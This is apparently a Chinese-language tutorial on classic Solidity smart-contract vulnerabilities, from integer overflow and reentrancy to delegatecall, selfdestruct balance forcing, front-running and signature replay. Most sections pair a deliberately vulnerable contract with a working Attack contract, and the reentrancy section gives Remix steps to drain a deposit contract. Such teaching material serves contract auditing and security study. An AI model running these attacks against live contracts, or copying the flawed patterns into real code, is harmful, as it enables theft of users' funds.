1. 智能合约的经典漏洞
  2. 智能合约的审计工具
  3. 智能合约学习资源
  4. 智能合约安全学习路线
  5. 区块链相关学习材料

以下总结的常见漏洞基本涵盖一般的漏洞类型,部分内容可能过于细致,或许有更加合理的分类方法。不过,应该能给大家提供一定的参考。

整数溢出

注意,Solidity 0.8.0 开始,加入了自动检查溢出,此版本之后的合约,可不必担心这个漏洞。

下面用 Beauty Chain 的例子说明,源码在这里,可见如下:

从区块链浏览器将代码复制到 remix IDE,仔细看第 259 行的 batchTransfer 函数,它用于给地址列表中的所有地址都转账 _value

1
2
3
4
5
6
7
8
9
10
11
12
13
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}

但是没有检查 amount 是否溢出,这导致每个人的转账金额 _value 很大,但是总共的 amount 却接近 0.

重入攻击

当攻击者调用储币合约中的 withdraw 函数时,withdraw 使用 call 底层调用发送以太币,此时接收者是攻击者的 fallback 函数,因此如果在 fallback 函数中重新调用 withdraw 函数,并且没有检查机制,就会发生重入攻击。代码来自这里。如果不清楚 fallback 函数或者 receive 函数,可以看笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherStore {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

contract Attack {
EtherStore public etherStore;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

  1. 先部署 EtherStore,然后分别用不同的账户 调用 deposit 函数,单位选择 ether,value 为 1.

image-20220201151421686

image-20220201151807345

  1. 复制 EtherStore 合约地址,作为构造函数参数,选择 Attack 合约,部署(注意去除部署时地址的双引号)!

image-20220201152451682

  1. 选择新的账户,同样单位选择 ether,value 为 1,调用 attack 函数,可见 Attackt 合约的账户余额增加,EtherStore 的账户余额归零。

最后,感兴趣的话可以阅读 theDAO 的源码,漏洞所在的函数为 splitDAO

payable 函数导致合约余额更新

因为当执行函数之前,合约首先是读取交易对象,因此合约的余额会先改变成 原来的余额+msg.value,某些合约可能会未注意合约余额已发生改变,导致漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract payableFunc {
address public Owner;

constructor() payable {
Owner = msg.sender;
}

receive() external payable {}

function withdraw() public payable {
require(msg.sender == Owner);
payable(Owner).transfer(address(this).balance);
}

function multiplicate(address adr) public payable {
if (msg.value >= address(this).balance) {
payable(adr).transfer(address(this).balance + msg.value);
}
}
}

这里的 multiplicate 函数 msg.value >= address(this).balance 永远不可能为真。

tx.origin

用交易的发起者作为判断条件,可能会被精心设计的回退函数利用,转而调用其他的合约,tx.origin 仍然是最初的交易发起者,但是执行人却已经改变了。

如下面 phish 合约中的 withdrawAll 函数的要求的是 tx.origin = owner,那么如果是 ownerTxOrigin 合约发送以太币,就会触发 fallback 函数,在 attack 函数中调用 withdrawAll 函数,窃取以太币。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract phish {
address public owner;
constructor () {
owner = msg.sender;
}
receive() external payable{}

fallback() external payable{}

function withdrawAll (address payable _recipient) public {
require(tx.origin == owner);
_recipient.transfer(address(this).balance);
}
function getOwner() public view returns(address) {
return owner;
}
}

contract TxOrigin {
address owner;
phish PH;

constructor(address phishAddr) {
owner = msg.sender;
PH=phish(payable(phishAddr));
}

function attack() internal {
address phOwner = PH.getOwner();
if (phOwner == msg. sender) {
PH.withdrawAll(payable(owner));
} else {
payable(owner).transfer(address(this). balance);
}
}
fallback() external payable{
attack();
}
}

短地址攻击

假如地址 0x1100000…1(40 位),但是输入的地址为 0x1100000…1(39 位)=>那么实际地址会变成 0x1100000…10(40 位)。

因为交易中的 data 参数是原始的调用数据经过 ABI 编码的数据,ABI 编码规则中常常会为了凑够 32 字节,在对原始参数编码时进行符号扩充(可见博客应用二进制接口(ABI))。因此,如果输入的地址太短,那么编码时不会检查,就会直接补零,导致接收者改变。

挖矿属性依赖

合约中有部分内置变量,这些变量会受到矿工的影响,因此不应该把它们当作特定的判断条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
contract Roulette {
uint public pastBlockTime;
fallback() external payable {
require(msg.value == 10 ether);
require(block.timestamp != pastBlockTime);
pastBlockTime = block.timestamp;
if(block.timestamp % 15 == 0){//依赖了区块时间戳
payable(msg.sender).transfer(address(this).balance);
}
}
}

合约余额依赖

selfdestruct 函数是内置的强制执行的函数,因此即使合约并没有可接受以太币的方法,其他人也可以强制通过 selfdestruct 函数改变合约的余额。因此,需要仔细检查是否把合约余额当作判断标准。

例如下面的合约,规定只有恰好为 7 ether 才能胜出,但是攻击者可以通过 selfdestruct 函数让没有人能够达到 7 ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;

function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");

uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");//只有合约余额达到 7 ether 才能成功

if (balance == targetAmount) {
winner = msg.sender;
}
}

function claimReward() public {
require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}

contract Attack {
EtherGame etherGame;

constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}

function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}

数据私有属性的误解

标注为 private 区域的数据并不是不能访问,它们存储在一个又一个的 slot 里,如果读者不熟悉的话,可以阅读博客中关于 EVM 的存储空间的解释。

delegatecall

代理调用时会用调用者的上下文替代被调用者的上下文,例如下面 HackMe 中的回退函代理调用 libpwn 函数时,在 lib 中的变量 owner 将会是 HackMe 中的 owner,因此 pwn() 中修改的实际上的 HackMeownermsg 对象是 HackMe 中的 msg 对象,也就是调用 HackMe 的人。

例如:

Attack.attack 调用 HackMe ,然后找不到 pwn() 这个函数签名,因此跳转到回退函数,然后回退函数调用 Lib,匹配到了函数签名,但是由于上下文切换,造成了 HackMe 的全局变量被意外修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Lib {
address public owner;

function pwn() public {
owner = msg.sender;
}
}

contract HackMe {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

contract Attack {
address public hackMe;

constructor(address _hackMe) {
hackMe = _hackMe;
}

function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}

拒绝服务攻击

依赖某些特定条件才能执行的逻辑,如果有人恶意破坏并且没有检查是否满足条件,就会造成服务中断。

例如下面的例子:依赖接收者可以接收以太币,但是如果接收以太币的合约无 receive 函数或者 fallback 函数,就会让逻辑无法进行下去。

多人竞拍,如果有出价更高的则退回上个一竞拍者的以太币,并且更新胜出者 king 和当前标价 balanceAttack 合约参与竞拍,但是无法退回以太币给它,导致 DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract KingOfEther {
address public king;
uint public balance;

function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");

(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");

balance = msg.value;
king = msg.sender;
}
}

contract Attack {
KingOfEther kingOfEther;

constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}

function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}

交易顺序依赖

某些合约依赖收到交易地顺序,例如某些竞猜或者首发,“第一个” 之类的要求,那么就容易出现抢跑 (front run) 的情况。再例如,利用不同代币汇率差别,观察交易池,抢先在汇率变化之前完成交易。

下面是通过哈希值竞猜,观察交易池,以更高的 gasprice 抢跑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract FindThisHash {
bytes32 public constant hash =
0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

constructor() payable {}

function solve(string memory solution) public {
require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

(bool sent, ) = msg.sender.call{value: 10 ether}("");
require(sent, "Failed to send Ether");
}
}

使用未初始化的内存

根据 Solidity 的编译器,如果需要临时存储的操作需要大于 64 字节的空间,那么不会放入 0x00-0x3f 的暂存空间,又考虑到临时存储的生命周期很短,因此直接在当前内存指针的下一个位置写入,但是内存指针不变,0x40-0x5f 记录的内存大小也不变,然后继续写入内存时直接覆盖。因此,在直接操作未使用的内存时,这块内存可能不是初始值。

如果在函数中声明 memory 变量,它可能不是初始值。

权限设置不当

取币、自毁操作需要设置严格的权限。建议非必要,不要设置 selfdestruct 函数。

合约实例偷换地址

例如,下面的 Bank 合约具有重入漏洞,似乎也只是多了一个 Logger 合约作为日志记录者。但是实际上,部署 Bank 的人可以在部署 Bank 时不填 Logger 的地址,而是直接填入 HoneyPot 的地址。在合约实例的名字的误导下,如果不去检查合约实例的地址上是否真的为预期内的代码,那么很容易上当。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Bank {
mapping(address => uint) public balances;
Logger logger;

constructor(Logger _logger) {
logger = Logger(_logger);
}

function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}

function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");

(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;

logger.log(msg.sender, _amount, "Withdraw");
}
}

contract Logger {
event Log(address caller, uint amount, string action);

function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
Bank bank;

constructor(Bank _bank) {
bank = Bank(_bank);
}

fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}

function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}

function getBalance() public view returns (uint) {
return address(this).balance;
}
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Withdraw")) {
revert("It's a trap");
}
}

// Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}

未检查底层调用结果

call 这类底层调用的方式失败并不会发生回滚。因此,攻击者可以精心设计 gas,让底层调用回滚,而其他语句继续运行。

签名重放

一般而言,签名会和特定的交易或者消息绑定,但是为了业务逻辑自己设计的多重签名,可能会疏忽造成签名重复使用。例如下面的 transfer 函数,通过库合约恢复发送者地址,但是如果签名是可重用的,那么就会造成意外的取款行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
using ECDSA for bytes32;

address[2] public owners;

constructor(address[2] memory _owners) payable {
owners = _owners;
}

function deposit() external payable {}

function transfer(
address _to,
uint _amount,
bytes[2] memory _sigs
) external {
bytes32 txHash = getTxHash(_to, _amount);
require(_checkSigs(_sigs, txHash), "invalid sig");

(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}

function getTxHash(address _to, uint _amount) public view returns (bytes32) {
return keccak256(abi.encodePacked(_to, _amount));
}

function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
private
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

for (uint i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == owners[i];

if (!valid) {
return false;
}
}

return true;
}
}